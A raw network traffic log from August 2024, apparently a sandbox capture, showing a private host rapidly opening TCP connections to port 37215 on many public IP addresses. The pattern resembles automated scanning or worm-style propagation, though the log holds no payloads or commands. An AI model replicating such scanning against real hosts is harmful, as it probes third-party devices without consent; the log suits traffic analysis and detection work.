Aug 17, 2024 01:01:52.601501942 CEST	37215	56714	156.15.58.220	192.168.2.13
Aug 17, 2024 01:01:52.601506948 CEST	44342	37215	192.168.2.13	41.0.50.58
Aug 17, 2024 01:01:52.601506948 CEST	46898	37215	192.168.2.13	41.129.214.78
Aug 17, 2024 01:01:52.601512909 CEST	44342	37215	192.168.2.13	41.0.50.58
Aug 17, 2024 01:01:52.601512909 CEST	37215	43984	41.241.76.22	192.168.2.13
Aug 17, 2024 01:01:52.601525068 CEST	57738	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:52.601526022 CEST	56714	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:52.601526976 CEST	37215	34906	156.234.12.197	192.168.2.13
Aug 17, 2024 01:01:52.601531982 CEST	58062	37215	192.168.2.13	156.250.143.170
Aug 17, 2024 01:01:52.601531982 CEST	43984	37215	192.168.2.13	41.241.76.22
Aug 17, 2024 01:01:52.601536989 CEST	44650	37215	192.168.2.13	41.0.50.58
Aug 17, 2024 01:01:52.601538897 CEST	37215	55448	156.52.107.115	192.168.2.13
Aug 17, 2024 01:01:52.601560116 CEST	34906	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:52.601572037 CEST	55448	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:52.601581097 CEST	48698	37215	192.168.2.13	156.123.207.66
Aug 17, 2024 01:01:52.601581097 CEST	48698	37215	192.168.2.13	156.123.207.66
Aug 17, 2024 01:01:52.601605892 CEST	49006	37215	192.168.2.13	156.123.207.66
Aug 17, 2024 01:01:52.601605892 CEST	51882	37215	192.168.2.13	156.14.140.227
Aug 17, 2024 01:01:52.601605892 CEST	51882	37215	192.168.2.13	156.14.140.227
Aug 17, 2024 01:01:52.601613045 CEST	37215	55328	156.19.191.121	192.168.2.13
Aug 17, 2024 01:01:52.601613045 CEST	52188	37215	192.168.2.13	156.14.140.227
Aug 17, 2024 01:01:52.601624966 CEST	40006	37215	192.168.2.13	41.189.88.13
Aug 17, 2024 01:01:52.601624966 CEST	40006	37215	192.168.2.13	41.189.88.13
Aug 17, 2024 01:01:52.601633072 CEST	40312	37215	192.168.2.13	41.189.88.13
Aug 17, 2024 01:01:52.601643085 CEST	55328	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:52.601650000 CEST	53238	37215	192.168.2.13	156.188.180.172
Aug 17, 2024 01:01:52.601650000 CEST	53238	37215	192.168.2.13	156.188.180.172
Aug 17, 2024 01:01:52.601671934 CEST	53544	37215	192.168.2.13	156.188.180.172
Aug 17, 2024 01:01:52.601680040 CEST	59350	37215	192.168.2.13	41.155.139.184
Aug 17, 2024 01:01:52.601680040 CEST	59350	37215	192.168.2.13	41.155.139.184
Aug 17, 2024 01:01:52.601691008 CEST	59656	37215	192.168.2.13	41.155.139.184
Aug 17, 2024 01:01:52.601711988 CEST	37215	55172	197.122.70.151	192.168.2.13
Aug 17, 2024 01:01:52.601723909 CEST	57738	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:52.601725101 CEST	37215	53810	197.243.143.226	192.168.2.13
Aug 17, 2024 01:01:52.601723909 CEST	57738	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:52.601737976 CEST	37215	51594	156.80.128.187	192.168.2.13
Aug 17, 2024 01:01:52.601738930 CEST	55172	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:52.601746082 CEST	56714	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:52.601746082 CEST	56714	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:52.601752996 CEST	53810	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:52.601763010 CEST	37215	35254	197.247.114.223	192.168.2.13
Aug 17, 2024 01:01:52.601769924 CEST	57020	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:52.601773024 CEST	51594	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:52.601774931 CEST	37215	40656	41.23.173.105	192.168.2.13
Aug 17, 2024 01:01:52.601782084 CEST	43984	37215	192.168.2.13	41.241.76.22
Aug 17, 2024 01:01:52.601783037 CEST	43984	37215	192.168.2.13	41.241.76.22
Aug 17, 2024 01:01:52.601783037 CEST	44290	37215	192.168.2.13	41.241.76.22
Aug 17, 2024 01:01:52.601785898 CEST	37215	39100	41.246.110.105	192.168.2.13
Aug 17, 2024 01:01:52.601793051 CEST	34906	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:52.601794958 CEST	58044	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:52.601795912 CEST	35254	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:52.601797104 CEST	37215	36992	156.144.162.99	192.168.2.13
Aug 17, 2024 01:01:52.601802111 CEST	34906	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:52.601802111 CEST	40656	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:52.601805925 CEST	35212	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:52.601809978 CEST	55448	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:52.601811886 CEST	39100	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:52.601835966 CEST	55448	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:52.601835966 CEST	36992	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:52.601871967 CEST	55328	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:52.601871967 CEST	55328	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:52.601905107 CEST	55172	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:52.601905107 CEST	55172	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:52.601917028 CEST	37215	45748	41.177.53.203	192.168.2.13
Aug 17, 2024 01:01:52.601917028 CEST	55478	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:52.601919889 CEST	53810	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:52.601927042 CEST	53810	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:52.601929903 CEST	37215	58464	41.143.146.230	192.168.2.13
Aug 17, 2024 01:01:52.601942062 CEST	37215	56182	197.182.51.118	192.168.2.13
Aug 17, 2024 01:01:52.601946115 CEST	55754	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:52.601946115 CEST	55634	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:52.601948023 CEST	54116	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:52.601953030 CEST	51594	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:52.601955891 CEST	45748	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:52.601955891 CEST	58464	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:52.601963997 CEST	51594	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:52.601965904 CEST	37215	44176	41.41.8.19	192.168.2.13
Aug 17, 2024 01:01:52.601969004 CEST	56182	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:52.601978064 CEST	37215	35192	156.92.98.192	192.168.2.13
Aug 17, 2024 01:01:52.601984024 CEST	51900	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:52.601993084 CEST	37215	51936	41.107.6.35	192.168.2.13
Aug 17, 2024 01:01:52.601994038 CEST	35254	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:52.601994038 CEST	35254	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:52.602006912 CEST	44176	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:52.602006912 CEST	37215	43466	156.73.69.227	192.168.2.13
Aug 17, 2024 01:01:52.602006912 CEST	35560	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:52.602008104 CEST	35192	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:52.602026939 CEST	51936	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:52.602036953 CEST	40656	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:52.602036953 CEST	43466	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:52.602047920 CEST	40656	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:52.602073908 CEST	40962	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:52.602080107 CEST	39100	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:52.602080107 CEST	39100	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:52.602080107 CEST	39406	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:52.602092028 CEST	36992	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:52.602092028 CEST	36992	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:52.602106094 CEST	37296	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:52.602153063 CEST	45748	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:52.602153063 CEST	45748	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:52.602165937 CEST	37215	43040	156.115.73.165	192.168.2.13
Aug 17, 2024 01:01:52.602174044 CEST	58464	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:52.602174044 CEST	58464	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:52.602178097 CEST	37215	49992	156.76.37.32	192.168.2.13
Aug 17, 2024 01:01:52.602185965 CEST	58770	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:52.602189064 CEST	56182	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:52.602195024 CEST	43040	37215	192.168.2.13	156.115.73.165
Aug 17, 2024 01:01:52.602196932 CEST	46056	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:52.602204084 CEST	37215	37722	41.13.61.27	192.168.2.13
Aug 17, 2024 01:01:52.602206945 CEST	56182	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:52.602206945 CEST	49992	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:52.602209091 CEST	56488	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:52.602216005 CEST	37215	34902	156.244.221.219	192.168.2.13
Aug 17, 2024 01:01:52.602222919 CEST	44176	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:52.602222919 CEST	44176	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:52.602231979 CEST	37215	44124	156.248.140.39	192.168.2.13
Aug 17, 2024 01:01:52.602231979 CEST	37722	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:52.602245092 CEST	37215	52768	156.125.168.6	192.168.2.13
Aug 17, 2024 01:01:52.602250099 CEST	44482	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:52.602253914 CEST	34902	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:52.602255106 CEST	35192	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:52.602255106 CEST	35192	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:52.602257013 CEST	37215	53344	41.36.86.252	192.168.2.13
Aug 17, 2024 01:01:52.602260113 CEST	44124	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:52.602277040 CEST	35498	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:52.602277994 CEST	51936	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:52.602277994 CEST	52768	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:52.602293968 CEST	51936	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:52.602298975 CEST	53344	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:52.602298975 CEST	52242	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:52.602298975 CEST	43466	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:52.602310896 CEST	43466	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:52.602344036 CEST	43772	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:52.602361917 CEST	37215	43422	156.229.96.143	192.168.2.13
Aug 17, 2024 01:01:52.602370977 CEST	43040	37215	192.168.2.13	156.115.73.165
Aug 17, 2024 01:01:52.602374077 CEST	37215	58170	197.232.93.152	192.168.2.13
Aug 17, 2024 01:01:52.602371931 CEST	43040	37215	192.168.2.13	156.115.73.165
Aug 17, 2024 01:01:52.602375984 CEST	43346	37215	192.168.2.13	156.115.73.165
Aug 17, 2024 01:01:52.602385044 CEST	37215	39262	197.2.79.146	192.168.2.13
Aug 17, 2024 01:01:52.602391958 CEST	49992	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:52.602391958 CEST	49992	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:52.602395058 CEST	58170	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:52.602396965 CEST	37215	55684	41.253.43.92	192.168.2.13
Aug 17, 2024 01:01:52.602408886 CEST	37215	43970	41.229.137.21	192.168.2.13
Aug 17, 2024 01:01:52.602412939 CEST	43422	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:52.602412939 CEST	39262	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:52.602420092 CEST	37215	49538	41.229.132.89	192.168.2.13
Aug 17, 2024 01:01:52.602431059 CEST	55684	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:52.602441072 CEST	43970	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:52.602442980 CEST	49538	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:52.602454901 CEST	50298	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:52.602463007 CEST	37722	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:52.602463007 CEST	37722	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:52.602463007 CEST	38028	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:52.602473974 CEST	34902	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:52.602473974 CEST	34902	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:52.602487087 CEST	35208	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:52.602497101 CEST	44124	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:52.602497101 CEST	44124	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:52.602531910 CEST	44430	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:52.602546930 CEST	52768	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:52.602546930 CEST	52768	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:52.602551937 CEST	53650	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:52.602555037 CEST	53074	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:52.602555990 CEST	53344	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:52.602555990 CEST	53344	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:52.602593899 CEST	43422	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:52.602595091 CEST	37215	42866	156.216.155.74	192.168.2.13
Aug 17, 2024 01:01:52.602593899 CEST	43422	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:52.602603912 CEST	43728	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:52.602606058 CEST	37215	60612	197.157.245.225	192.168.2.13
Aug 17, 2024 01:01:52.602617025 CEST	58170	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:52.602617025 CEST	58170	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:52.602618933 CEST	37215	48766	156.161.17.168	192.168.2.13
Aug 17, 2024 01:01:52.602627039 CEST	58476	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:52.602631092 CEST	42866	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:52.602636099 CEST	37215	37362	156.159.42.226	192.168.2.13
Aug 17, 2024 01:01:52.602638960 CEST	39262	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:52.602638960 CEST	60612	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:52.602638960 CEST	39262	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:52.602646112 CEST	37215	44400	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:52.602654934 CEST	39568	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:52.602655888 CEST	37215	42652	197.8.112.23	192.168.2.13
Aug 17, 2024 01:01:52.602655888 CEST	48766	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:52.602662086 CEST	37215	59546	156.41.196.1	192.168.2.13
Aug 17, 2024 01:01:52.602663994 CEST	55684	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:52.602665901 CEST	37215	54196	41.135.202.113	192.168.2.13
Aug 17, 2024 01:01:52.602669001 CEST	37362	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:52.602677107 CEST	55684	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:52.602678061 CEST	37215	53590	156.12.134.196	192.168.2.13
Aug 17, 2024 01:01:52.602682114 CEST	44400	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.602693081 CEST	54196	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.602694035 CEST	59546	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:52.602699995 CEST	42652	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:52.602700949 CEST	55990	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:52.602720976 CEST	43970	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:52.602720976 CEST	43970	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:52.602731943 CEST	44276	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:52.602737904 CEST	49538	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:52.602761030 CEST	49538	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:52.602766037 CEST	49844	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:52.602782011 CEST	53590	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.602790117 CEST	37215	46690	156.220.93.113	192.168.2.13
Aug 17, 2024 01:01:52.602798939 CEST	37215	53758	197.166.118.19	192.168.2.13
Aug 17, 2024 01:01:52.602811098 CEST	37215	33476	41.75.226.237	192.168.2.13
Aug 17, 2024 01:01:52.602828026 CEST	42866	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:52.602828026 CEST	53758	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:52.602830887 CEST	37215	38668	156.141.40.131	192.168.2.13
Aug 17, 2024 01:01:52.602830887 CEST	46690	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.602833033 CEST	43172	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:52.602838039 CEST	33476	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.602838039 CEST	42866	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:52.602840900 CEST	37215	52660	41.84.217.81	192.168.2.13
Aug 17, 2024 01:01:52.602850914 CEST	37215	40436	156.81.112.77	192.168.2.13
Aug 17, 2024 01:01:52.602857113 CEST	60612	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:52.602857113 CEST	60612	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:52.602870941 CEST	38668	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.602874041 CEST	37362	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:52.602874041 CEST	37362	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:52.602878094 CEST	60918	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:52.602885962 CEST	52660	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.602885962 CEST	37668	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:52.602888107 CEST	48766	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:52.602888107 CEST	48766	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:52.602894068 CEST	49072	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:52.602896929 CEST	44400	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.602896929 CEST	44400	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.602906942 CEST	40436	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.602917910 CEST	44706	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.602921963 CEST	42652	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:52.602921963 CEST	42652	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:52.602941990 CEST	42958	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:52.602952003 CEST	59546	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:52.602952003 CEST	59546	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:52.602967978 CEST	54196	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.602967978 CEST	59852	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:52.602977991 CEST	54196	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.602991104 CEST	54502	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.603003025 CEST	53590	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.603003025 CEST	53590	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.603020906 CEST	53896	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.603053093 CEST	37215	57724	197.93.165.158	192.168.2.13
Aug 17, 2024 01:01:52.603063107 CEST	37215	37116	197.93.59.225	192.168.2.13
Aug 17, 2024 01:01:52.603076935 CEST	37215	56708	156.21.81.137	192.168.2.13
Aug 17, 2024 01:01:52.603080034 CEST	46690	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.603080034 CEST	46690	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.603081942 CEST	57724	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.603085995 CEST	37215	35800	41.203.221.60	192.168.2.13
Aug 17, 2024 01:01:52.603095055 CEST	37116	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.603096008 CEST	37215	43362	197.184.232.244	192.168.2.13
Aug 17, 2024 01:01:52.603105068 CEST	56708	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.603106976 CEST	37215	57582	197.55.107.244	192.168.2.13
Aug 17, 2024 01:01:52.603111029 CEST	35800	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:52.603118896 CEST	46996	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.603131056 CEST	37215	48456	41.205.24.112	192.168.2.13
Aug 17, 2024 01:01:52.603132010 CEST	43362	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.603132010 CEST	53758	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:52.603140116 CEST	53758	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:52.603140116 CEST	37215	32826	41.44.188.7	192.168.2.13
Aug 17, 2024 01:01:52.603142977 CEST	54064	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:52.603152037 CEST	37215	60898	156.105.254.196	192.168.2.13
Aug 17, 2024 01:01:52.603157043 CEST	48456	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.603157997 CEST	33782	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.603161097 CEST	33476	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.603161097 CEST	33476	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.603173018 CEST	32826	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.603174925 CEST	57582	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.603178978 CEST	38668	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.603180885 CEST	60898	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.603178978 CEST	38668	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.603180885 CEST	38974	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.603208065 CEST	40436	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.603208065 CEST	40436	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.603213072 CEST	40742	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.603219986 CEST	52660	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.603219986 CEST	52660	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.603221893 CEST	52966	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.603269100 CEST	37215	56476	156.37.116.205	192.168.2.13
Aug 17, 2024 01:01:52.603279114 CEST	37215	34118	41.233.122.47	192.168.2.13
Aug 17, 2024 01:01:52.603283882 CEST	57724	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.603283882 CEST	57724	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.603290081 CEST	37215	42944	41.105.187.177	192.168.2.13
Aug 17, 2024 01:01:52.603296041 CEST	58030	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.603302956 CEST	34118	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.603315115 CEST	37215	45006	41.219.110.69	192.168.2.13
Aug 17, 2024 01:01:52.603327036 CEST	42944	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:52.603327990 CEST	37215	44052	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:52.603327990 CEST	56476	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:52.603329897 CEST	37116	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.603331089 CEST	37116	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.603337049 CEST	37215	57082	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:52.603347063 CEST	37215	33132	156.122.150.249	192.168.2.13
Aug 17, 2024 01:01:52.603362083 CEST	45006	37215	192.168.2.13	41.219.110.69
Aug 17, 2024 01:01:52.603362083 CEST	57082	37215	192.168.2.13	156.211.231.190
Aug 17, 2024 01:01:52.603363037 CEST	37422	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.603368998 CEST	35800	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:52.603369951 CEST	44052	37215	192.168.2.13	197.48.31.41
Aug 17, 2024 01:01:52.603378057 CEST	35800	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:52.603394032 CEST	36106	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:52.603401899 CEST	57582	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.603401899 CEST	57582	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.603416920 CEST	33132	37215	192.168.2.13	156.122.150.249
Aug 17, 2024 01:01:52.603416920 CEST	43362	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.603416920 CEST	43362	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.603423119 CEST	57888	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.603437901 CEST	43668	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.603446960 CEST	56708	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.603446960 CEST	56708	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.603455067 CEST	57014	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.603463888 CEST	48456	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.603463888 CEST	48456	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.603477955 CEST	48762	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.603482008 CEST	32826	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.603488922 CEST	32826	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.603497982 CEST	33132	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.603507996 CEST	60898	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.603518963 CEST	32972	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.603519917 CEST	60898	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.603574991 CEST	56476	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:52.603574991 CEST	56476	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:52.603599072 CEST	34118	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.603599072 CEST	34118	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.603621960 CEST	34424	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.603626966 CEST	42944	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:52.603626966 CEST	42944	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:52.603627920 CEST	56782	37215	192.168.2.13	156.37.116.205
